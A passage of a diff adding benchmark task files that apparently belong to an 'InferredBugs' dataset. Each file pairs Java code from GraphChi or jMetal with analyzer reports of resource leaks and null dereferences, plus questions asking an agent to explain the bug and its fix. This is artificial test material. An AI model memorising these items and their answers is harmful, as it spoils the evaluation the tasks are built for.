+            rFile.write(data, rangeStartEdgePtr, last  - rangeStartEdgePtr);
+            rFile.close();
+        }
+        dataBlockManager.release(blockId);
+
+    }
+
+    public void loadVertices(int windowStart, int windowEnd, ChiVertex[] vertices)
+            throws FileNotFoundException, IOException {
+        if (adjData == null) {
+            loadAdj();
+
+            edataFilesize = (int) new File(edgeDataFilename).length();
+            blockId = dataBlockManager.allocateBlock(edataFilesize);
+        }
+
+
+        System.out.println("Load memory shard");
+        int vid = 0;
+        int edataPtr = 0;
+        int adjOffset = 0;
+        int sizeOf = converter.sizeOf();
+        DataInputStream adjInput = new DataInputStream(new ByteArrayInputStream(adjData));
+        while(adjInput.available() > 0) {
+            if (!hasSetOffset && vid > rangeEnd) {
+                streamingOffset = adjOffset;
+                streamingOffsetEdgePtr = edataPtr;
+                streamingOffsetVid = vid;
+                hasSetOffset = true;
+            }
+            if (!hasSetRangeOffset && vid >= rangeStart) {
+                rangeStartOffset = adjOffset;
+                rangeStartEdgePtr = edataPtr;
+                hasSetRangeOffset = true;
+            }
+
+            int n = 0;
+            int ns = adjInput.readUnsignedByte();
+            adjOffset += 1;
+            assert(ns >= 0);
+            if (ns == 0) {
+                // next value tells the number of vertices with zeros
+                vid++;
+                int nz = adjInput.readUnsignedByte();
+                adjOffset += 1;
+                vid += nz;
+                continue;
+            }
+            if (ns == 0xff) {   // If 255 is not enough, then stores a 32-bit integer after.
+                n = Integer.reverseBytes(adjInput.readInt());
+                adjOffset += 4;
+            } else {
+                n = ns;
+            }
+
+            ChiVertex vertex = null;
+            if (vid >= windowStart && vid <= windowEnd) {
+                vertex = vertices[vid - windowStart];
+            }
+
+            while (--n >= 0) {
+                int target = Integer.reverseBytes(adjInput.readInt());
+                adjOffset += 4;
+                if (!(target >= rangeStart && target <= rangeEnd))
+                    throw new IllegalStateException("Target " + target + " not in range!");
+                if (vertex != null) {
+                    vertex.addOutEdge(blockId, edataPtr, target);
+                }
+
+                if (target >= windowStart) {
+                    if (target <= windowEnd) {
+                        ChiVertex dstVertex = vertices[target - windowStart];
+                        if (dstVertex != null) {
+                            dstVertex.addInEdge(blockId, edataPtr, vid);
+                        }
+                        if (vertex != null && dstVertex != null) {
+                            dstVertex.parallelSafe = false;
+                            vertex.parallelSafe = false;
+                        }
+                    }
+                }
+                edataPtr += sizeOf;
+
+                // TODO: skip
+            }
+            vid++;
+        }
+
+        /* Load the edge data from file. Should be done asynchronously. */
+        if (!loaded) {
+            int read = 0;
+            FileInputStream fdis = new FileInputStream(new File(edgeDataFilename));
+            while (read < edataFilesize) {
+                read += fdis.read(dataBlockManager.getRawBlock(blockId), read, edataFilesize - read);
+            }
+
+            loaded = true;
+        }
+    }
+
+
+    private void loadAdj() throws FileNotFoundException, IOException {
+        File adjFile = new File(adjDataFilename);
+        FileInputStream fis = new FileInputStream(adjFile);
+
+        int filesize = (int) adjFile.length();
+        adjData = new byte[filesize];
+
+        int read = 0;
+        while (read < filesize) {
+            read += fis.read(adjData, read, filesize - read);
+        }
+
+    }
+
+    public DataBlockManager getDataBlockManager() {
+        return dataBlockManager;
+    }
+
+    public void setDataBlockManager(DataBlockManager dataBlockManager) {
+        this.dataBlockManager = dataBlockManager;
+    }
+
+    public void setConverter(BytesToValueConverter<EdgeDataType> converter) {
+        this.converter = converter;
+    }
+
+    public int getStreamingOffset() {
+        return streamingOffset;
+    }
+
+    public int getStreamingOffsetEdgePtr() {
+        return streamingOffsetEdgePtr;
+    }
+
+    public int getStreamingOffsetVid() {
+        return streamingOffsetVid;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.DataInputStream` acquired to `read` by call to `new()` at line 87 is not released after line 155.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MemoryShard.loadVertices(int,int,edu.cmu.graphchi.ChiVertex[])
+
+### Procedure Id:
+edu.cmu.graphchi.shards.MemoryShard.loadVertices(int,int,edu.cmu.graphchi.ChiVertex[]):void.08eca2a67801347d010929569207ca9c
+
+### File:
+src/edu/cmu/graphchi/shards/MemoryShard.java
+
+### Key:
+MemoryShard.java|loadVertices|RESOURCE_LEAK
+
+### Node Key:
+4edd0cf623436d61e7851a9cd143b6e5
+
+### Hash:
+17d09caeea199d80ae94c2de6c757e14
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9040/instruction.md b/inferredbugs-9040/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e6924144817e4e3e6811caca172327d1b033ac5d
--- /dev/null
+++ b/inferredbugs-9040/instruction.md
@@ -0,0 +1,447 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jMetal
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+//  PSO.java
+//
+//  Author:
+//       Antonio J. Nebro <antonio@lcc.uma.es>
+//       Juan J. Durillo <durillo@lcc.uma.es>
+//
+//  Copyright (c) 2011 Antonio J. Nebro, Juan J. Durillo
+//
+//  This program is free software: you can redistribute it and/or modify
+//  it under the terms of the GNU Lesser General Public License as published by
+//  the Free Software Foundation, either version 3 of the License, or
+//  (at your option) any later version.
+//
+//  This program is distributed in the hope that it will be useful,
+//  but WITHOUT ANY WARRANTY; without even the implied warranty of
+//  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+//  GNU Lesser General Public License for more details.
+// 
+//  You should have received a copy of the GNU Lesser General Public License
+//  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+package jmetal.metaheuristics.singleObjective.particleSwarmOptimization;
+
+import jmetal.core.*;
+import jmetal.operators.selection.BestSolutionSelection;
+import jmetal.util.JMException;
+import jmetal.util.PseudoRandom;
+import jmetal.util.comparators.ObjectiveComparator;
+import jmetal.util.wrapper.XReal;
+
+import java.io.IOException;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+/**
+ * Class implementing a single-objective PSO algorithm
+ */
+public class StandardPSO2011 extends Algorithm {
+
+	/**
+   * Stores the number of swarm_ used
+   */
+  private int swarmSize_;
+  /**
+   * Stores the maximum number of iteration_
+   */
+  private int maxIterations_;
+  /**
+   * Stores the current number of iteration_
+   */
+  private int iteration_;
+  /**
+   * Stores the particles
+   */
+  private SolutionSet swarm_;
+  /**
+   * Stores the local best solutions found so far for each particles
+   */
+  private Solution[] localBest_;
+  /**
+   * Stores the global best solution found
+   */
+  private Solution globalBest_;
+  /**
+   * Stores the speed_ of each particle
+   */
+  private double[][] speed_;
+
+  int evaluations_ ;
+
+  /**
+   * Comparator object
+   */
+  Comparator  comparator_  ;
+
+  Operator findBestSolution_ ;
+
+  double r1Max_;
+  double r1Min_;
+  double r2Max_;
+  double r2Min_;
+  double C1Max_;
+  double C1Min_;
+  double C2Max_;
+  double C2Min_;
+  double WMax_;
+  double WMin_;
+  double ChVel1_;
+  double ChVel2_;
+
+  /**
+   * Constructor
+   * @param problem Problem to solve
+   */
+  public StandardPSO2011(Problem problem) {
+    super(problem) ;
+
+    r1Max_ = 1.0;
+    r1Min_ = 0.0;
+    r2Max_ = 1.0;
+    r2Min_ = 0.0;
+    C1Max_ = 1.5;
+    C1Min_ = 1.5;
+    C2Max_ = 1.5;
+    C2Min_ = 1.5;
+    WMax_ = 0.9;
+    WMin_ = 0.1;
+    ChVel1_ = 1.0;
+    ChVel2_ = 1.0;
+
+    comparator_ = new ObjectiveComparator(0) ; // Single objective comparator
+    HashMap  parameters ; // Operator parameters
+
+    parameters = new HashMap() ;
+    parameters.put("comparator", comparator_) ;
+    findBestSolution_ = new BestSolutionSelection(parameters) ;
+
+    evaluations_ = 0 ;
+  } // Constructor
+
+  boolean success_;
+
+
+  public int[] getNeighbourhood(int i) {
+    int[] neighbors = new int[3] ;
+    neighbors[0] = (i - 1 + swarmSize_)% swarmSize_;
+    neighbors[1] = i ;
+    neighbors[2] = (i + 1)% swarmSize_;
+
+    return neighbors ;
+  }
+
+  /**
+   * Initialize all parameter of the algorithm
+   */
+  public void initParams() {
+    swarmSize_ = ((Integer) getInputParameter("swarmSize")).intValue();
+    maxIterations_ = ((Integer) getInputParameter("maxIterations")).intValue();
+
+    iteration_ = 0 ;
+
+    success_ = false;
+
+    swarm_ = new SolutionSet(swarmSize_);
+    localBest_ = new Solution[swarmSize_];
+
+    // Create the speed_ vector
+    speed_ = new double[swarmSize_][problem_.getNumberOfVariables()];
+
+  } // initParams
+
+  // Adaptive inertia
+  private double inertiaWeight(int iter, int miter, double wmax, double wmin) {
+    //return wmax; // - (((wmax-wmin)*(double)iter)/(double)miter);
+    return wmax - (((wmax-wmin)*(double)iter)/(double)miter);
+  } // inertiaWeight
+
+  // constriction coefficient (M. Clerc)
+  private double constrictionCoefficient(double c1, double c2) {
+    double rho = c1 + c2;
+    //rho = 1.0 ;
+    if (rho <= 4) {
+      return 1.0;
+    } else {
+      return 2 / Math.abs((2 - rho - Math.sqrt(Math.pow(rho, 2.0) - 4.0 * rho)));
+    }
+  } // constrictionCoefficient
+
+
+  // velocity bounds
+  private double velocityConstriction(double v, double[] deltaMax,
+                                      double[] deltaMin, int variableIndex,
+                                      int particleIndex) throws IOException {
+
+  	return v;
+  	/*
+
+    //System.out.println("v: " + v + "\tdmax: " + dmax + "\tdmin: " + dmin) ;
+    double result;
+
+    double dmax = deltaMax[variableIndex];
+    double dmin = deltaMin[variableIndex];
+
+    result = v;
+
+    if (v > dmax) {
+      result = dmax;
+    }
+
+    if (v < dmin) {
+      result = dmin;
+    }
+
+    return result;
+    */
+  } // velocityConstriction
+
+  /**
+   * Update the speed of each particle
+   * @throws jmetal.util.JMException
+   */
+  private void computeSpeed(int iter, int miter) throws JMException, IOException {
+    double r1, r2 ;
+    //double W ;
+    double C1, C2;
+    double wmax, wmin, deltaMax, deltaMin;
+    XReal bestGlobal;
+
+  	bestGlobal = new XReal(globalBest_) ;
+
+    for (int i = 0; i < swarmSize_; i++) {
+    	XReal particle = new XReal(swarm_.get(i)) ;
+    	XReal bestParticle = new XReal(localBest_[i]) ;
+
+      //int bestIndividual = (Integer)findBestSolution_.execute(swarm_) ;
+
+      C1Max_ = 2.5;
+      C1Min_ = 1.5;
+      C2Max_ = 2.5;
+      C2Min_ = 1.5;
+
+      r1 = PseudoRandom.randDouble(r1Min_, r1Max_);
+      r2 = PseudoRandom.randDouble(r2Min_, r2Max_);
+      C1 = PseudoRandom.randDouble(C1Min_, C1Max_);
+      C2 = PseudoRandom.randDouble(C2Min_, C2Max_);
+      //W =  PseudoRandom.randDouble(WMin_, WMax_);
+      //
+
+      WMax_ = 0.9;
+      WMin_ = 0.9;
+      ChVel1_ = 1.0;
+      ChVel2_ = 1.0;
+
+      C1 = 2.5 ;
+      C2 = 1.5 ;
+
+      wmax = WMax_;
+      wmin = WMin_;
+/*
+      for (int var = 0; var < particle.size(); var++) {
+        //Computing the velocity of this particle
+        speed_[i][var] = velocityConstriction(constrictionCoefficient(C1, C2) *
+          (inertiaWeight(iter, miter, wmax, wmin) *
+          speed_[i][var] +
+          C1 * r1 * (bestParticle.getValue(var) - particle.getValue(var)) +
+          C2 * r2 * (bestGlobal.getValue(var) -
+          particle.getValue(var))), deltaMax_,
+          deltaMin_, //[var],
+          var,
+          i);
+      }
+*/
+      C1 = 1.5 ;
+      C2 = 1.5 ;
+      double W = 0.9 ;
+      for (int var = 0; var < particle.size(); var++) {
+        //Computing the velocity of this particle
+        speed_[i][var] = inertiaWeight(iter, miter, wmax, wmin) * speed_[i][var] +
+          C1 * r1 * (bestParticle.getValue(var) - particle.getValue(var)) +
+          C2 * r2 * (bestGlobal.getValue(var) - particle.getValue(var)) ;
+      }
+    }
+  } // computeSpeed
+
+  /**
+   * Update the position of each particle
+   * @throws jmetal.util.JMException
+   */
+  private void computeNewPositions() throws JMException {
+    for (int i = 0; i < swarmSize_; i++) {
+    	//Variable[] particle = swarm_.get(i).getDecisionVariables();
+    	XReal particle = new XReal(swarm_.get(i)) ;
+      //particle.move(speed_[i]);
+      for (int var = 0; var < particle.size(); var++) {
+      	particle.setValue(var, particle.getValue(var) +  speed_[i][var]) ;
+
+        if (particle.getValue(var) < problem_.getLowerLimit(var)) {
+          particle.setValue(var, problem_.getLowerLimit(var));
+          speed_[i][var] = speed_[i][var] * ChVel1_; //
+        }
+        if (particle.getValue(var) > problem_.getUpperLimit(var)) {
+          particle.setValue(var, problem_.getUpperLimit(var));
+          speed_[i][var] = speed_[i][var] * ChVel2_; //
+        }
+
+      }
+    }
+  } // computeNewPositions
+
+
+  /**
+   * Runs of the SMPSO algorithm.
+   * @return a <code>SolutionSet</code> that is a set of non dominated solutions
+   * as a result of the algorithm execution
+   * @throws jmetal.util.JMException
+   */
+  public SolutionSet execute() throws JMException, ClassNotFoundException {
+    initParams();
+
+    success_ = false;
+    globalBest_ =  null ;
+    //->Step 1 (and 3) Create the initial population and evaluate
+    for (int i = 0; i < swarmSize_; i++) {
+      Solution particle = new Solution(problem_);
+      problem_.evaluate(particle);
+      evaluations_ ++ ;
+      swarm_.add(particle);
+      if ((globalBest_ == null) || (particle.getObjective(0) < globalBest_.getObjective(0)))
+        globalBest_ = new Solution(particle) ;
+    }
+
+    //-> Step2. Initialize the speed_ of each particle to 0
+    for (int i = 0; i < swarmSize_; i++) {
+      for (int j = 0; j < problem_.getNumberOfVariables(); j++) {
+        speed_[i][j] = 0.0;
+      }
+    }
+
+    //-> Step 6. Initialize the memory of each particle
+    for (int i = 0; i < swarm_.size(); i++) {
+      Solution particle = new Solution(swarm_.get(i));
+      localBest_[i] = particle;
+    }
+
+    //-> Step 7. Iterations ..        
+    while (iteration_ < maxIterations_) {
+      int bestIndividual = (Integer)findBestSolution_.execute(swarm_) ;
+      try {
+        //Compute the speed_
+        computeSpeed(iteration_, maxIterations_);
+      } catch (IOException ex) {
+        Logger.getLogger(StandardPSO2011.class.getName()).log(Level.SEVERE, null, ex);
+      }
+
+      //Compute the new positions for the swarm_
+      computeNewPositions();
+
+      //Mutate the swarm_
+      //mopsoMutation(iteration_, maxIterations_);
+
+      //Evaluate the new swarm_ in new positions
+      for (int i = 0; i < swarm_.size(); i++) {
+        Solution particle = swarm_.get(i);
+        problem_.evaluate(particle);
+        evaluations_ ++ ;
+      }
+
+      //Actualize the memory of this particle
+      for (int i = 0; i < swarm_.size(); i++) {
+        //int flag = comparator_.compare(swarm_.get(i), localBest_[i]);
+        //if (flag < 0) { // the new particle is best_ than the older remember        
+      	if ((swarm_.get(i).getObjective(0) < localBest_[i].getObjective(0))) {
+          Solution particle = new Solution(swarm_.get(i));
+          localBest_[i] = particle;
+        } // if
+      	if ((swarm_.get(i).getObjective(0) < globalBest_.getObjective(0))) {
+          Solution particle = new Solution(swarm_.get(i));
+          globalBest_ = particle;
+        } // if
+      	
+      }
+      iteration_++;
+    }
+    
+    // Return a population with the best individual
+    SolutionSet resultPopulation = new SolutionSet(1) ;
+    resultPopulation.add(swarm_.get((Integer)findBestSolution_.execute(swarm_))) ;
+    
+    return resultPopulation ;
+  } // execute
+} // PSO
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `StandardPSO2011.globalBest_` last assigned on line 303 could be null and is dereferenced at line 358.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+SolutionSet StandardPSO2011.execute()
+
+### Procedure Id:
+jmetal.metaheuristics.singleObjective.particleSwarmOptimization.StandardPSO2011.execute():jmetal.cor.1a028acbbd04cd6d504a10c397e76964
+
+### File:
+src/main/java/jmetal/metaheuristics/singleObjective/particleSwarmOptimization/StandardPSO2011.java
+
+### Key:
+StandardPSO2011.java|execute|NULL_DEREFERENCE
+
+### Node Key:
+7e9fc31bc469440d6384630f8b346526
+
+### Hash:
+6617164ce98933165948e1e8301b1a0a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9041/instruction.md b/inferredbugs-9041/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..696cca97d53d333693f757dade7aa28a3c73b6ec
--- /dev/null
+++ b/inferredbugs-9041/instruction.md
@@ -0,0 +1,243 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jMetal
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+//  NSGAIIRunner.java
+//
+//  Author:
+//       Antonio J. Nebro <antonio@lcc.uma.es>
+//
+//  Copyright (c) 2014 Antonio J. Nebro
+//
+//  This program is free software: you can redistribute it and/or modify
+//  it under the terms of the GNU Lesser General Public License as published by
+//  the Free Software Foundation, either version 3 of the License, or
+//  (at your option) any later version.
+//
+//  This program is distributed in the hope that it will be useful,
+//  but WITHOUT ANY WARRANTY; without even the implied warranty of
+//  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+//  GNU Lesser General Public License for more details.
+// 
+//  You should have received a copy of the GNU Lesser General Public License
+//  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+package jmetal.runner;
+
+import jmetal.core.Algorithm;
+import jmetal.core.Operator;
+import jmetal.core.Problem;
+import jmetal.core.SolutionSet;
+import jmetal.metaheuristics.nsgaII.NSGAIITemplate;
+import jmetal.operators.crossover.SBXCrossover;
+import jmetal.operators.mutation.PolynomialMutation;
+import jmetal.operators.selection.BinaryTournament2;
+import jmetal.problems.Kursawe;
+import jmetal.problems.ProblemFactory;
+import jmetal.qualityIndicator.QualityIndicator;
+import jmetal.util.AlgorithmRunner;
+import jmetal.util.Configuration;
+import jmetal.util.JMException;
+import jmetal.util.evaluator.SequentialSolutionSetEvaluator;
+import jmetal.util.evaluator.SolutionSetEvaluator;
+import jmetal.util.fileOutput.DefaultFileOutputContext;
+import jmetal.util.fileOutput.SolutionSetOutput;
+
+import java.io.IOException;
+import java.util.logging.FileHandler;
+import java.util.logging.Logger;
+
+/**
+ * Class to configure and execute the NSGA-II algorithm.
+ * <p/>
+ * Besides the classic NSGA-II, a steady-state version (ssNSGAII) is also
+ * included (See: J.J. Durillo, A.J. Nebro, F. Luna and E. Alba
+ * "On the Effect of the Steady-State Selection Scheme in
+ * Multi-Objective Genetic Algorithms"
+ * 5th International Conference, EMO 2009, pp: 183-197.
+ * April 2009)
+ */
+
+public class NSGAIIRunner {
+  private static Logger logger_;
+  private static FileHandler fileHandler_;
+
+  /**
+   * @param args Command line arguments.
+   * @throws jmetal.util.JMException
+   * @throws java.io.IOException
+   * @throws SecurityException Usage: three options
+   *                           - jmetal.metaheuristics.nsgaII.NSGAIIRunner
+   *                           - jmetal.metaheuristics.nsgaII.NSGAIIRunner problemName
+   *                           - jmetal.metaheuristics.nsgaII.NSGAIIRunner problemName paretoFrontFile
+   */
+  public static void main(String[] args) throws
+    JMException,
+    SecurityException,
+    IOException,
+    ClassNotFoundException {
+
+    Problem problem;
+    Algorithm algorithm;
+    Operator crossover;
+    Operator mutation;
+    Operator selection;
+
+    QualityIndicator indicators;
+
+    // Logger object and file to store log messages
+    logger_ = Configuration.logger_;
+    fileHandler_ = new FileHandler("NSGAII_main.log");
+    logger_.addHandler(fileHandler_);
+
+    indicators = null;
+    if (args.length == 1) {
+      Object[] params = {"Real"};
+      problem = (new ProblemFactory()).getProblem(args[0], params);
+    } else if (args.length == 2) {
+      Object[] params = {"Real"};
+      problem = (new ProblemFactory()).getProblem(args[0], params);
+      indicators = new QualityIndicator(problem, args[1]);
+    } else {
+      problem = new Kursawe("Real", 3);
+      /*
+        Examples:
+        problem = new Water("Real");
+        problem = new ZDT3("ArrayReal", 30);
+        problem = new ConstrEx("Real");
+        problem = new DTLZ1("Real");
+        problem = new OKA2("Real")
+      */
+    }
+
+    /*
+     * Alternatives:
+     * - "NSGAII"
+     * - "SteadyStateNSGAII"
+     */
+    String nsgaIIVersion = "NSGAII" ;
+
+    /*
+     * Alternatives:
+     * - evaluator = new SequentialSolutionSetEvaluator() // NSGAII
+     * - evaluator = new new MultithreadedSolutionSetEvaluator(threads, problem) // parallel NSGAII
+     */
+    SolutionSetEvaluator evaluator = new SequentialSolutionSetEvaluator() ;
+
+    crossover = new SBXCrossover.Builder()
+      .distributionIndex(20.0)
+      .probability(0.9)
+      .build() ;
+
+    mutation = new PolynomialMutation.Builder()
+      .distributionIndex(20.0)
+      .probability(1.0/problem.getNumberOfVariables())
+      .build();
+
+    selection = new BinaryTournament2.Builder()
+      .build();
+
+    algorithm = new NSGAIITemplate.Builder(problem, evaluator)
+      .crossover(crossover)
+      .mutation(mutation)
+      .selection(selection)
+      .maxEvaluations(25000)
+      .populationSize(100)
+      .build(nsgaIIVersion) ;
+
+    AlgorithmRunner algorithmRunner = new AlgorithmRunner.Executor(algorithm)
+      .execute() ;
+
+    SolutionSet population = algorithmRunner.getSolutionSet() ;
+    long computingTime = algorithmRunner.getComputingTime() ;
+
+    new SolutionSetOutput.Printer(population)
+      .separator("\t")
+      .varFileOutputContext(new DefaultFileOutputContext("VAR.tsv"))
+      .funFileOutputContext(new DefaultFileOutputContext("FUN.tsv"))
+      .print();
+
+    logger_.info("Total execution time: " + computingTime + "ms");
+    logger_.info("Objectives values have been written to file FUN.tsv");
+    logger_.info("Variables values have been written to file VAR.tsv");
+
+    if (indicators != null) {
+      logger_.info("Quality indicators");
+      logger_.info("Hypervolume: " + indicators.getHypervolume(population));
+      logger_.info("GD         : " + indicators.getGD(population));
+      logger_.info("IGD        : " + indicators.getIGD(population));
+      logger_.info("Spread     : " + indicators.getSpread(population));
+      logger_.info("Epsilon    : " + indicators.getEpsilon(population));
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedWriter` acquired by call to `SolutionSetOutput$Printer(...)` at line 150 is not released after line 152.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void NSGAIIRunner.main(java.lang.String[])
+
+### Procedure Id:
+jmetal.runner.NSGAIIRunner.main(java.lang.String[]):void.14240db51ba6234a0f7e6588d9a5ee00
+
+### File:
+src/main/java/jmetal/runner/NSGAIIRunner.java
+
+### Key:
+NSGAIIRunner.java|main|RESOURCE_LEAK
+
+### Node Key:
+e81c98eb27f9c4dc71be4209079d3c45
+
+### Hash:
+9985b8b8637026e90c93b1276c238680
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9046/instruction.md b/inferredbugs-9046/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..896c6238160f354eb71b13ca51c0e692af9303e6
--- /dev/null
+++ b/inferredbugs-9046/instruction.md
@@ -0,0 +1,133 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jMetal
+**Bug ID:** 30
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+//  RankComparator.java
+//
+//  Author:
+//       Antonio J. Nebro <antonio@lcc.uma.es>
+//       Juan J. Durillo <durillo@lcc.uma.es>
+//
+//  Copyright (c) 2011 Antonio J. Nebro, Juan J. Durillo
+//
+//  This program is free software: you can redistribute it and/or modify
+//  it under the terms of the GNU Lesser General Public License as published by
+//  the Free Software Foundation, either version 3 of the License, or
+//  (at your option) any later version.
+//
+//  This program is distributed in the hope that it will be useful,
+//  but WITHOUT ANY WARRANTY; without even the implied warranty of
+//  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+//  GNU Lesser General Public License for more details.
+// 
+//  You should have received a copy of the GNU Lesser General Public License
+//  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+package org.uma.jmetal3.util.comparator;
+
+import org.uma.jmetal3.core.Solution;
+
+import java.util.Comparator;
+
+/**
+ * This class implements a <code>Comparator</code> (a method for comparing
+ * <code>Solution</code> objects) based on the rank of the solutions.
+ */
+public class RankingComparator implements Comparator<Solution> {
+  /**
+   * Compares two solutions.
+   *
+   * @param solution1 Object representing the first <code>Solution</code>.
+   * @param solution2 Object representing the second <code>Solution</code>.
+   * @return -1, or 0, or 1 if o1 is less than, equal, or greater than o2,
+   * respectively.
+   */
+  @Override
+  public int compare(Solution solution1, Solution solution2) {
+    if (solution1 == null) {
+      return 1;
+    } else if (solution2 == null) {
+      return -1;
+    }
+
+    if ((int)solution1.getAlgorithmAttributes().getAttribute("Rank") < (int)solution2.getAlgorithmAttributes().getAttribute("Rank")) {
+      return -1;
+    }
+
+    if ((int)solution1.getAlgorithmAttributes().getAttribute("Rank") > (int)solution2.getAlgorithmAttributes().getAttribute("Rank")) {
+      return 1;
+    }
+
+    return 0;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `solution1.getAlgorithmAttributes().getAttribute("Rank")` could be null and is dereferenced at line 49.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+int RankingComparator.compare(Solution,Solution)
+
+### Procedure Id:
+org.uma.jmetal3.util.comparator.RankingComparator.compare(org.uma.jmetal3.core.Solution,org.uma.jmet.486fedf3628bdb395aa1f566bb29deab
+
+### File:
+jmetal-core/src/main/java/org/uma/jmetal3/util/comparator/RankingComparator.java
+
+### Key:
+RankingComparator.java|compare|NULL_DEREFERENCE
+
+### Node Key:
+dc678d91476904c7b1b2af11d980af71
+
+### Hash:
+ae57b07d39fe3203c4e17bee985cb5b3
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9047/instruction.md b/inferredbugs-9047/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..962db4334242a5011f8ab29d30ba81d412391fad
--- /dev/null
+++ b/inferredbugs-9047/instruction.md
@@ -0,0 +1,735 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jMetal
+**Bug ID:** 24
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+//
+// Special Session on Real-Parameter Optimization at CEC-05
+// Edinburgh, UK, 2-5 Sept. 2005
+//
+// Organizers:
+//	Prof. Kalyanmoy Deb
+//		deb@iitk.ac.in
+//		http://www.iitk.ac.in/kangal/deb.htm
+//	A/Prof. P. N. Suganthan
+//		epnsugan@ntu.edu.sg
+//		http://www.ntu.edu.sg/home/EPNSugan
+//
+// Java version of the org.uma.test functions
+//
+// Matlab reference code
+//	http://www.ntu.edu.sg/home/EPNSugan
+//
+// Java version developer:
+//	Assistant Prof. Ying-ping Chen
+//		Department of Computer Science
+//		National Chiao Tung University
+//		HsinChu City, Taiwan
+//		ypchen@csie.nctu.edu.tw
+//		http://www.csie.nctu.edu.tw/~ypchen/
+//
+// Typical use of the org.uma.test functions in the Benchmark:
+//
+//		// Create a Benchmark object
+// 		Benchmark theBenchmark = new Benchmark();
+//		// Use the factory function call to create a org.uma.test function object
+//		//		org.uma.test function 3 with 50 dimension
+//		//		the object class is "TestFunc"
+//		TestFunc aTestFunc = theBenchmark.testFunctionFactory(3, 50);
+//		// Invoke the function with x
+//		double experimentoutput = aTestFunc.f(x);
+//
+// Version 0.90
+//		Currently, this version cannot handle any numbers of dimensions.
